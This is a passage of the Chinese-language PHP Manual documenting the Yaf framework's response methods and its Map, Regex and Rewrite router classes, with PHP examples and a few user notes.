  • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
  • Yaf_Response_Abstract::setBody — 设置内容到响应
  • Yaf_Response_Abstract::setHeader — 设置响应 header
  • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
  • Yaf_Response_Abstract::__toString — 获取字符串形式的所有 body

User Contributed Notes

There are no user contributed notes for this page.


向响应 body 追加内容

  • ? Yaf_Response_Abstract
  • Yaf_Response_Abstract::clearBody ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 向响应 body 追加内容

Yaf_Response_Abstract::appendBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::appendBody — 向响应 body 追加内容

说明

public Yaf_Response_Abstract::appendBody(string $content, string $key = ?): bool

追加内容到已有的内存块

参数

body

内容字符串

key

响应内容的 key，可以使用 key 设置内容，如果没有指定，然后默认使用 Yaf_Response_Abstract::DEFAULT_BODY

Note:

此参数自 2.2.0 起引入

返回值

bool

示例

Example #1 Yaf_Response_Abstract::appendBody() 示例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->prependBody(" World");

echo $response;
?>

以上示例的输出类似于：

Hello World

参见

  • Yaf_Config_Ini
  • Yaf_Response_Abstract::getBody() - 获取已存在的内容
  • Yaf_Response_Abstract::setBody() - 设置内容到响应
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - 丢弃所有已存在的响应 body

User Contributed Notes

There are no user contributed notes for this page.


丢弃所有已存在的响应 body

  • ? Yaf_Response_Abstract::appendBody
  • Yaf_Response_Abstract::clearHeaders ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 丢弃所有已存在的响应 body

Yaf_Response_Abstract::clearBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearBody — 丢弃所有已存在的响应 body

说明

public Yaf_Response_Abstract::clearBody(string $key = ?): bool

清除已存在的内容

参数

key

内容 key，如果没有指定，将会清除所有内容。

Note:

此参数自 2.2.0 起引入

返回值

参见

  • Yaf_Response_Abstract::setBody() - 设置内容到响应
  • Yaf_Response_Abstract::appendBody() - 向响应 body 追加内容
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::getBody() - 获取已存在的内容

User Contributed Notes

There are no user contributed notes for this page.


丢弃所有设置的 header

  • ? Yaf_Response_Abstract::clearBody
  • Yaf_Response_Abstract::__construct ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 丢弃所有设置的 header

Yaf_Response_Abstract::clearHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearHeaders — 丢弃所有设置的 header

说明

public Yaf_Response_Abstract::clearHeaders(): void

参数

此函数没有参数。

返回值

参见

  • Yaf_Response_Abstract::getHeader() - The getHeader purpose
  • Yaf_Response_Abstract::setHeader() - 设置响应 header

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ? Yaf_Response_Abstract::clearHeaders
  • Yaf_Response_Abstract::__destruct ?
  • PHP Manual
  • Yaf_Response_Abstract
  • The __construct purpose

Yaf_Response_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__construct — The __construct purpose

说明

public Yaf_Response_Abstract::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __destruct purpose

  • ? Yaf_Response_Abstract::__construct
  • Yaf_Response_Abstract::getBody ?
  • PHP Manual
  • Yaf_Response_Abstract
  • The __destruct purpose

Yaf_Response_Abstract::__destruct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__destruct — The __destruct purpose

说明

public Yaf_Response_Abstract::__destruct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取已存在的内容

  • ? Yaf_Response_Abstract::__destruct
  • Yaf_Response_Abstract::getHeader ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 获取已存在的内容

Yaf_Response_Abstract::getBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::getBody — 获取已存在的内容

说明

public Yaf_Response_Abstract::getBody(string $key = ?): mixed

获取已存在的内容

参数

key

内容 key，如果未指定，然后默认使用 Yaf_Response_Abstract::DEFAULT_BODY。如果传入 null，所有的内容将会以数组形式被返回。

Note:

此参数自 2.2.0 起引入

返回值

示例

Example #1 Yaf_Response_Abstract::getBody() 示例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

var_dump($response->getBody()); //default
var_dump($response->getBody(Yaf_Response_Abstract::DEFAULT_BODY)); //same as above
var_dump($response->getBody("footer"));
var_dump($response->getBody(NULL)); //get all
?>

以上示例的输出类似于：

string(5) "Hello"
string(5) "Hello"
string(6) " World"
array(2) {
  ["content"]=>
  string(5) "Hello"
  ["footer"]=>
  string(6) " World"
}

参见

  • Yaf_Response_Abstract::setBody() - 设置内容到响应
  • Yaf_Response_Abstract::appendBody() - 向响应 body 追加内容
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - 丢弃所有已存在的响应 body

User Contributed Notes

There are no user contributed notes for this page.


The getHeader purpose

  • ? Yaf_Response_Abstract::getBody
  • Yaf_Response_Abstract::prependBody ?
  • PHP Manual
  • Yaf_Response_Abstract
  • The getHeader purpose

Yaf_Response_Abstract::getHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::getHeader — The getHeader purpose

说明

public Yaf_Response_Abstract::getHeader(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • Yaf_Response_Abstract::setHeader() - 设置响应 header
  • Yaf_Response_Abstract::cleanHeaders()

User Contributed Notes

There are no user contributed notes for this page.


The prependBody purpose

  • ? Yaf_Response_Abstract::getHeader
  • Yaf_Response_Abstract::response ?
  • PHP Manual
  • Yaf_Response_Abstract
  • The prependBody purpose

Yaf_Response_Abstract::prependBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::prependBody — The prependBody purpose

说明

public Yaf_Response_Abstract::prependBody(string $content, string $key = ?): bool

往已有的内容块前插入内容

参数

body

内容字符串

key

内容 key，可以使用 key 设置内容，如果未指定，然后默认使用 Yaf_Response_Abstract::DEFAULT_BODY。

Note:

此参数自 2.2.0 起引入

返回值

bool

示例

Example #1 Yaf_Response_Abstract::prependBody() 示例

<?php
$response = new Yaf_Response_Http();

$response->setBody("World")->prependBody("Hello ");

echo $response;
?>

以上示例的输出类似于：

Hello World

参见

  • Yaf_Response_Abstract::getBody() - 获取已存在的内容
  • Yaf_Response_Abstract::setBody() - 设置内容到响应
  • Yaf_Response_Abstract::appendBody() - 向响应 body 追加内容
  • Yaf_Response_Abstract::clearBody() - 丢弃所有已存在的响应 body

User Contributed Notes

There are no user contributed notes for this page.


发送响应

  • ? Yaf_Response_Abstract::prependBody
  • Yaf_Response_Abstract::setAllHeaders ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 发送响应

Yaf_Response_Abstract::response

(Yaf >=1.0.0)

Yaf_Response_Abstract::response — 发送响应

说明

public Yaf_Response_Abstract::response(): void

发送响应

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Response_Abstract::response() 示例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

$response->response();
?>

以上示例的输出类似于：

Hello World

参见

  • Yaf_Response_Abstract::setBody() - 设置内容到响应
  • Yaf_Response_Abstract::clearBody() - 丢弃所有已存在的响应 body

User Contributed Notes

There are no user contributed notes for this page.


The setAllHeaders purpose

  • ? Yaf_Response_Abstract::response
  • Yaf_Response_Abstract::setBody ?
  • PHP Manual
  • Yaf_Response_Abstract
  • The setAllHeaders purpose

Yaf_Response_Abstract::setAllHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose

说明

protected Yaf_Response_Abstract::setAllHeaders(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置内容到响应

  • ? Yaf_Response_Abstract::setAllHeaders
  • Yaf_Response_Abstract::setHeader ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 设置内容到响应

Yaf_Response_Abstract::setBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::setBody — 设置内容到响应

说明

public Yaf_Response_Abstract::setBody(string $content, string $key = ?): bool

设置内容到响应

参数

body

内容字符串

key

内容 key，可以使用 key 设置内容，如果未指定，然后默认使用 Yaf_Response_Abstract::DEFAULT_BODY。

Note:

此参数自 2.2.0 起引入

返回值

示例

Example #1 Yaf_Response_Abstract::setBody() 示例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

print_r($response);
echo $response;
?>

以上示例的输出类似于：

Yaf_Response_Http Object
(
    [_header:protected] => Array
        (
        )

    [_body:protected] => Array
        (
            [content] => Hello
            [footer] =>  World
        )

    [_sendheader:protected] => 1
    [_response_code:protected] => 200
)
Hello World

参见

  • Yaf_Response_Abstract::getBody() - 获取已存在的内容
  • Yaf_Response_Abstract::appendBody() - 向响应 body 追加内容
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - 丢弃所有已存在的响应 body

User Contributed Notes

There are no user contributed notes for this page.


设置响应 header

  • ? Yaf_Response_Abstract::setBody
  • Yaf_Response_Abstract::setRedirect ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 设置响应 header

Yaf_Response_Abstract::setHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::setHeader — 设置响应 header

说明

public Yaf_Response_Abstract::setHeader(string $name, string $value, bool $replace = ?): bool

用于发送 HTTP header

参数

此函数没有参数。

返回值

参见

  • Yaf_Response_Abstract::getHeader() - The getHeader purpose
  • Yaf_Response_Abstract::cleanHeaders()

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 11-Apr-2014 02:45
A few examples of how to send headers from a controller...

/* Set Content-Type */
 $response = $this -> getResponse();

 $response -> setHeader( 'Content-Type', 'text/html; CHARSET=gb2312' );

$response -> response();

/* Set HTTP Status */
$response = $this -> getResponse();

$response -> setHeader( $this -> getRequest() -> getServer( 'SERVER_PROTOCOL' ), '404 Not Found' );

$response -> response();

You could also use $_SERVER[ 'SERVER_PROTOCOL' ] however it is recommend to extend the request class do some cleaning of the super globals then you should be good to go.


The setRedirect purpose

  • ? Yaf_Response_Abstract::setHeader
  • Yaf_Response_Abstract::__toString ?
  • PHP Manual
  • Yaf_Response_Abstract
  • The setRedirect purpose

Yaf_Response_Abstract::setRedirect

(Yaf >=1.0.0)

Yaf_Response_Abstract::setRedirect — The setRedirect purpose

说明

public Yaf_Response_Abstract::setRedirect(string $url): bool

参数

url

要跳转到的地址

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取字符串形式的所有 body

  • ? Yaf_Response_Abstract::setRedirect
  • Yaf_Route_Interface ?
  • PHP Manual
  • Yaf_Response_Abstract
  • 获取字符串形式的所有 body

Yaf_Response_Abstract::__toString

(Yaf >=1.0.0)

Yaf_Response_Abstract::__toString — 获取字符串形式的所有 body

说明

private Yaf_Response_Abstract::__toString(): string

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Interface 类

(Yaf >=1.0.0)

简介

Yaf_Route_Interface 是 Yaf 路由协议的标准接口, 它的存在使得开发者可以自定义路由协议

类摘要

class Yaf_Route_Interface {
/* 方法 */
abstract public assemble(array $info, array $query = ?): string
abstract public route(Yaf_Request_Abstract $request): bool
}

Table of Contents

  • Yaf_Route_Interface::assemble — 将指定路由规则组合成一个 url
  • Yaf_Route_Interface::route — 路由请求

User Contributed Notes

There are no user contributed notes for this page.


将指定路由规则组合成一个 url

  • ? Yaf_Route_Interface
  • Yaf_Route_Interface::route ?
  • PHP Manual
  • Yaf_Route_Interface
  • 将指定路由规则组合成一个 url

Yaf_Route_Interface::assemble

(Yaf >=2.3.0)

Yaf_Route_Interface::assemble — 将指定路由规则组合成一个 url

说明

abstract public Yaf_Route_Interface::assemble(array $info, array $query = ?): string

此方法根据参数 info 返回 url，并根据参数 query 向 url 追加查询字符串。

路由应该根据自己的路由规则来实现这个方法，做一个逆向的过程。

参数

info

query

返回值

User Contributed Notes

There are no user contributed notes for this page.


路由请求

  • ? Yaf_Route_Interface::assemble
  • Yaf_Route_Map ?
  • PHP Manual
  • Yaf_Route_Interface
  • 路由请求

Yaf_Route_Interface::route

(Yaf >=1.0.0)

Yaf_Route_Interface::route — 路由请求

说明

abstract public Yaf_Route_Interface::route(Yaf_Request_Abstract $request): bool

Yaf_Route_Interface::route() 是用户自定义路由唯一需要实现的方法。

Note:

自 2.3.0 起，还应该实现另外一个方法，参阅 Yaf_Route_Interface::assemble()。

如果此方法返回 true，那么路由过程将会中止。否则，Yaf_Router 将会调用路由栈中的下一个路由来路由请求。

此方法通过调用 Yaf_Request_Abstract::setControllerName()、Yaf_Request_Abstract::setActionName() 和 Yaf_Request_Abstract::setModuleName() 将路由结果设置为参数请求。

这个方法还应该调用 Yaf_Request_Abstract::setRouted() 做最后的请求路由。

参数

request

Yaf_Request_Abstract 实例。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Map 类

(Yaf >=1.0.0)

简介

Yaf_Route_Map 是内置路由，它只是将 URI 端点（位于基础 URI 之后的 URI 部分：参阅 Yaf_Request_Abstract::setBaseUri()）转换为 controller 名或 action 名（取决于传递给 Yaf_Route_Map::__construct() 的参数），遵循以下规则： A => controller A。 A/B/C => controller A_B_C。 A/B/C/D/E => controller A_B_C_D_E。

如果指定 Yaf_Route_Map::__construct() 的第二个参数，则只有 URI 之前的部分用于路由，URI 之后的部分用于路由请求参数（参考 Yaf_Route_Map::__construct() 的示例部分）。

类摘要

class Yaf_Route_Map implements Yaf_Route_Interface {
/* 属性 */
protected $_ctl_router;
protected $_delimiter;
/* 方法 */
public __construct(string $controller_prefer = false, string $delimiter = "")
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
}

属性

_ctl_router

_delimiter

Table of Contents

  • Yaf_Route_Map::assemble — 组合url
  • Yaf_Route_Map::__construct — The __construct purpose
  • Yaf_Route_Map::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


组合url

  • ? Yaf_Route_Map
  • Yaf_Route_Map::__construct ?
  • PHP Manual
  • Yaf_Route_Map
  • 组合url

Yaf_Route_Map::assemble

(Yaf >=2.3.0)

Yaf_Route_Map::assemble — 组合url

说明

public Yaf_Route_Map::assemble(array $info, array $query = ?): string

根据指定参数和自定义参数将 map 这个 route 组合成一个 url

参数

info

需要传入一个数组，数组的 key 可以为 :a 或者 :c，:a 表示 action，:c 表示 controller。

当 map route 初始化时，controller_prefer 为 false 时，这个参数需要传入 :c。当 controller_prefer 为 true 时，这个参数需要传入 :a。

query

用户自定义的 query 字符串，将根据此路由规则拼接在url中

返回值

成功时返回 string，失败时为 null。

错误／异常

可能抛出 Yaf_Exception_TypeError。

示例

Example #1 Yaf_Route_Map::assemble() 示例

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Map();

$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
array(
':c' => 'foo_bar'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

$route = new Yaf_Route_Map(true, '_');
$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
array(
':a' => 'foo_bar'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

以上示例的输出类似于：

string(%d) "/foo/bar?tkey1=tval1&tkey2=tval2"
string(%d) "/foo/bar/_/tkey1/tval1/tkey2/tval2"

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ? Yaf_Route_Map::assemble
  • Yaf_Route_Map::route ?
  • PHP Manual
  • Yaf_Route_Map
  • The __construct purpose

Yaf_Route_Map::__construct

(Yaf >=1.0.0)

Yaf_Route_Map::__construct — The __construct purpose

说明

public Yaf_Route_Map::__construct(string $controller_prefer = false, string $delimiter = "")

参数

controller_prefer

结果是否应该考虑作为 controller 或 action

delimiter

返回值

示例

Example #1 Yaf_Route_Map() 示例

<?php
/**
* Add a map route to Yaf_Router route stack
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Map());
?>

以上示例的输出类似于：

/* for http://yourdomain.com/product/foo/bar
 * route will result in following values:
 */
array(
  "controller" => "product_foo_bar",
)

Example #2 Yaf_Route_Map() 示例

<?php
/**
* Add a map route to Yaf_Router route stack
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Map(true, "_"));
?>

以上示例的输出类似于：

/* for http://yourdomain.com/user/list/_/foo/22
 * route will result in following values:
 */
array(
    "action" => "user_list",
)

/**
 * and request parameters:
 */
array(
  "foo"   => 22,
)

Example #3 Yaf_Route_Map() 示例

<?php
/**
* Add a map route to Yaf_Router route stack by calling addconfig
*/
$config = array(
"name" => array(
"type" => "map", //Yaf_Route_Map route
"controllerPrefer" => FALSE,
"delimiter" => "#!",
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

参见

  • Yaf_Router::addRoute() - 往 Router 中添加新的路由
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • ? Yaf_Route_Map::__construct
  • Yaf_Route_Regex ?
  • PHP Manual
  • Yaf_Route_Map
  • The route purpose

Yaf_Route_Map::route

(Yaf >=1.0.0)

Yaf_Route_Map::route — The route purpose

说明

public Yaf_Route_Map::route(Yaf_Request_Abstract $request): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

request

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Regex 类

(Yaf >=1.0.0)

简介

Yaf_Route_Regex 是 Yaf 内置的路由中最灵活的。

类摘要

class Yaf_Route_Regex extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* 属性 */
protected $_route;
protected $_default;
protected $_maps;
protected $_verify;
/* 方法 */
public __construct(
string $match,
array $route,
array $map = ?,
array $verify = ?,
string $reverse = ?
)
public assemble(array $info, array $query = ?): ?string
public route(Yaf_Request_Abstract $request): bool
/* 继承的方法 */
abstract public Yaf_Route_Interface::assemble(array $info, array $query = ?): string
abstract public Yaf_Route_Interface::route(Yaf_Request_Abstract $request): bool
}

属性

_route

_default

_maps

_verify

Table of Contents

  • Yaf_Route_Regex::assemble — 组合 url
  • Yaf_Route_Regex::__construct — Yaf_Route_Regex 构造方法
  • Yaf_Route_Regex::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


组合 url

  • ? Yaf_Route_Regex
  • Yaf_Route_Regex::__construct ?
  • PHP Manual
  • Yaf_Route_Regex
  • 组合 url

Yaf_Route_Regex::assemble

(Yaf >=2.3.0)

Yaf_Route_Regex::assemble — 组合 url

说明

public Yaf_Route_Regex::assemble(array $info, array $query = ?): ?string

根据指定参数和自定义参数将 regex 这个 route 组合成一个 url

在 regex route 使用 assemble 需要在初始化时指定 reverse 参数，否则将不能正常工作

参数

info

需要传入一个数组，数组的 key 可以为 :a、:c、:m，:a 表示 action，:c 表示 controller，:m 表示 module。

query

用户自定义的 query 字符串，将根据此路由规则拼接在 url 中

返回值

成功时返回 string，失败时为 null。

示例

Example #1 Yaf_Route_Regex::assemble() 示例

<?php

$router = new Yaf_Router();

$route = new Yaf_Route_Regex(
"#^/product/([^/]+)/([^/])+#",
array(
'controller' => "product", //route to product controller,
),
array(),
array(),
'/:m/:c/:a'
);

$router->addRoute("regex", $route);

var_dump($router->getRoute('regex')->assemble(
array(
':m' => 'module',
':c' => 'controller',
':a' => 'action'
),
array(
'tkey1' => 'tval1',
'tkey2' =>
'tval2'
)
)
);

以上示例的输出类似于：

string(49) "/module/controller/action?tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Regex 构造方法

  • ? Yaf_Route_Regex::assemble
  • Yaf_Route_Regex::route ?
  • PHP Manual
  • Yaf_Route_Regex
  • Yaf_Route_Regex 构造方法

Yaf_Route_Regex::__construct

(Yaf >=1.0.0)

Yaf_Route_Regex::__construct — Yaf_Route_Regex 构造方法

说明

public Yaf_Route_Regex::__construct(
string $match,
array $route,
array $map = ?,
array $verify = ?,
string $reverse = ?
)

参数

match

完整的正则表达式，用来匹配请求的 uri，如果不能匹配，Yaf_Route_Regex 将返回 false。

route

当路由正则匹配成功请求 uri 时，Yaf_Route_Regex 将会用它来决定哪一个 m/c/a 被路由。

数组中的 m/c/a 是可选的，如果没有分配特定的值，将路由到默认值。

map

数组，用于为匹配结果中捕获的名称分配名称。

verify

reverse

字符串，用于组合 url，参阅 Yaf_Route_Regex::assemble()。

Note:

2.3.0 起引入该参数

返回值

示例

Example #1 Yaf_Route_Regex() 示例

<?php
/**
* Add a regex route to Yaf_Router route stack
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Regex(
"#^/product/([^/]+)/([^/])+#", //match request uri leading "/product"
array(
'controller' => "product", //route to product controller,
),
array(
1 => "name", // now you can call $request->getParam("name")
2 => "id", // to get the first captrue in the match pattern.
)
)
);
?>

Example #2 Yaf_Route_Regex()（从 2.3.0 起）示例

<?php
/**
* 使用匹配结果作为 MVC 名称
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Regex(
"#^/product/([^/]+)/([^/])+#i", //match request uri leading "/product"
array(
'controller' => ":name", // 路由到 :name，匹配结果中的 $1 作为控制器名称
),
array(
1 => "name", // now you can call $request->getParam("name")
2 => "id", // to get the first captrue in the match pattern.
)
)
);
?>

Example #3 Yaf_Route_Regex() 和命名捕获组（从 2.3.0 起）示例

<?php
/**
* Use match result as MVC name
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_Regex(
"#^/product/(?<name>[^/]+)/([^/])+#i", //match request uri leading "/product"
array(
'controller' => ":name", // route to :name,
// which is named capture group 'name' in the match result as controller name
),
array(
2 => "id", // to get the first captrue in the match pattern.
)
)
);
?>

Example #4 Yaf_Route_Regex() 示例

<?php
/**
* Add a regex route to Yaf_Router route stack by calling addconfig
*/
$config = array(
"name" => array(
"type" => "regex", //Yaf_Route_Regex route
"match" => "#(.*)#", //match arbitrary request uri
"route" => array(
'controller' => "product", //route to product controller,
'action' => "dummy", //route to dummy action
),
"map" => array(
1 => "uri", // now you can call $request->getParam("uri")
),
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

参见

  • Yaf_Router::addRoute() - 往 Router 中添加新的路由
  • Yaf_Router::addConfig() - 向 Router 中添加配置文件中定义的路由
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • ? Yaf_Route_Regex::__construct
  • Yaf_Route_Rewrite ?
  • PHP Manual
  • Yaf_Route_Regex
  • The route purpose

Yaf_Route_Regex::route

(Yaf >=1.0.0)

Yaf_Route_Regex::route — The route purpose

说明

public Yaf_Route_Regex::route(Yaf_Request_Abstract $request): bool

路由一个传进来的请求。

Warning

本函数还未编写文档，仅有参数列表。

参数

request

返回值

如果 Yaf_Route_Regex::_construct() 的第一个参数给出的模式与请求 uri 匹配，则返回 true，否则返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Rewrite 类

(Yaf >=1.0.0)

简介

用法请看 Yaf_Route_Rewrite::__construct() 的示例部分

类摘要

class Yaf_Route_Rewrite extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* 属性 */
protected $_route;
protected $_default;
protected $_verify;
/* 方法 */
public __construct(string $match, array $route, array $verify = ?)
public assemble(array $info, array $query = ?): string
public route(Yaf_Request_Abstract $request): bool
/* 继承的方法 */
abstract public Yaf_Route_Interface::assemble(array $info, array $query = ?): string
abstract public Yaf_Route_Interface::route(Yaf_Request_Abstract $request): bool
}

属性

_route

_default

_verify

Table of Contents

  • Yaf_Route_Rewrite::assemble — 组合 url
  • Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite 构造方法
  • Yaf_Route_Rewrite::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


组合 url

  • ? Yaf_Route_Rewrite
  • Yaf_Route_Rewrite::__construct ?
  • PHP Manual
  • Yaf_Route_Rewrite
  • 组合 url

Yaf_Route_Rewrite::assemble

(Yaf >=2.3.0)

Yaf_Route_Rewrite::assemble — 组合 url

说明

public Yaf_Route_Rewrite::assemble(array $info, array $query = ?): string

根据指定参数和自定义参数将 rewrite 这个 route 组合成一个 url

参数

info

需要传入一个数组，数组中每个 key 必须和初始化 rewrite route 时 $match 参数中的带冒号的参数名一致

query

用户自定义的 query 字符串，将根据此路由规则拼接在 url 中

返回值

返回 string。

示例

Example #1 Yaf_Route_Rewrite::assemble() 示例

router = new Yaf_Router();

$route = new Yaf_Route_Rewrite(
"/product/:name/:id/*",
array(
'controller' => "product",
),
array()
);

$router->addRoute("rewrite", $route);

var_dump($router->getRoute('rewrite')->assemble(
array(
':name' => 'foo',
':id' => 'bar',
':tmpkey1' => 'tmpval1'
),
array(
'tkey1' => 'tval1',
'tkey2' => 'tval2'
)
)
);

以上示例的输出类似于：

string(57) "/product/foo/bar/tmpkey1/tmpval1/?tkey1=tval1&tkey2=tval2"

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Rewrite 构造方法

  • ? Yaf_Route_Rewrite::assemble
  • Yaf_Route_Rewrite::route ?
  • PHP Manual
  • Yaf_Route_Rewrite
  • Yaf_Route_Rewrite 构造方法

Yaf_Route_Rewrite::__construct

(Yaf >=1.0.0)

Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite 构造方法

说明

public Yaf_Route_Rewrite::__construct(string $match, array $route, array $verify = ?)

参数

match

正则表达式，用于匹配请求 uri，如果没有匹配到，Yaf_Route_Rewrite 会返回 false。

可以使用 :name 样式来命名要匹配的段，并使用 * 匹配剩余的 URL 段。

route

当匹配模式与请求 uri 匹配时，Yaf_Route_Rewrite 将会用它来决定哪个 module/controller/action 作为目标。

数组中的 module/controller/action 是可选的，如果没有分配特定的值，将路由到默认值。

verify

返回值

示例

Example #1 Yaf_Route_Rewrite() 示例

<?php
/**
* Add a rewrite route to Yaf_Router route stack
*/
Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
new Yaf_Route_rewrite(
"/product/:name/:id/*", //match request uri leading "/product"
array(
'controller' => "product", //route to product controller,
),
)
);
?>

以上示例的输出类似于：

/* for http://yourdomain.com/product/foo/22/foo/bar
 * route will result in following values:
 */
array(
  "controller" => "product",
  "module"     => "index", //(default)
  "action"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "name" => "foo",
  "id"   => 22,
  "foo"  => bar
)

Example #2 Yaf_Route_Rewrite() 示例

<?php
/**
* Add a rewrite route to Yaf_Router route stack by calling addconfig
*/
$config = array(
"name" => array(
"type" => "rewrite", //Yaf_Route_Rewrite route
"match" => "/user-list/:id", //match only /user/list/?/
"route" => array(
'controller' => "user", //route to user controller,
'action' => "list", //route to list action
),
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

以上示例的输出类似于：

/* for http://yourdomain.com/user-list/22
 * route will result in following values:
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "id"   => 22,
)

Example #3 Yaf_Route_Rewrite()（自 2.3.0 起）示例

<?php
/**
* 添加重写的路由，使用匹配结果作为 m/c/a 名称
*/
$config = array(
"name" => array(
"type" => "rewrite",
"match" => "/user-list/:a/:id", //match only /user-list/*
"route" => array(
'controller' => "user", //route to user controller,
'action' => ":a", // 路由到 :a action
),
),
);
Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
new Yaf_Config_Simple($config));
?>

以上示例的输出类似于：

/* for http://yourdomain.com/user-list/list/22
 * route will result in following values:
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(default)
)

/**
 * and request parameters:
 */
array(
  "id"   => 22,
)

参见

  • Yaf_Router::addRoute() - 往 Router 中添加新的路由
  • Yaf_Router::addConfig() - 向 Router 中添加配置文件中定义的路由
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Map

User Contributed Notes

aqueel at ikonami dot net 20-Jun-2012 04:20
Working Example for Modules in YAF FOR PHP

Please follow these steps to make modules work in YAF.

1. Create a folder with name modules inside application directory the path would normally look like this

/application/modules

2. In modules folder copy following folders and files from application root.
    i. conf / configration folder ( what ever name your configration folder has)
    ii. controllers
    iii. models
    iv. plugins ( if you have)
    v.  Views

Now your folder structure will look like this

-- application
        -- controllers
        -- models
        -- modules
              -- [moduledirectory]
                 -- controllers
                 -- models
                 -- plugins
                 -- views
        -- plugins
        -- views

application.ini file in configuration folder will look like this the only thing to notice closely in this file is this line

;defined modules
application.modules= "Index,director"  // comma separated list of all modules that you will use in your web application using yaf

############################################################
[product]
;layout
application.directory = APP_PATH
application.bootstrap = APP_PATH "Bootstrap.php"
application.library = BASE_PATH "/library"

appnamespace = "Application"
resources.frontController.controllerDirectory = APP_PATH "controllers"
resources.frontController.params.displayExceptions = 0
resources.frontController.defaultModule = "index"
resources.frontController.defaultController = "index"
resources.frontController.defaultAction = "index"
;resources.frontController.moduleDirectory = APP_PATH "modules/"
resources.layout.layoutPath = APP_PATH "/layouts/scripts/"
resources.view[] =

;errors (see Bootstrap::initErrors)
application.showErrors=0

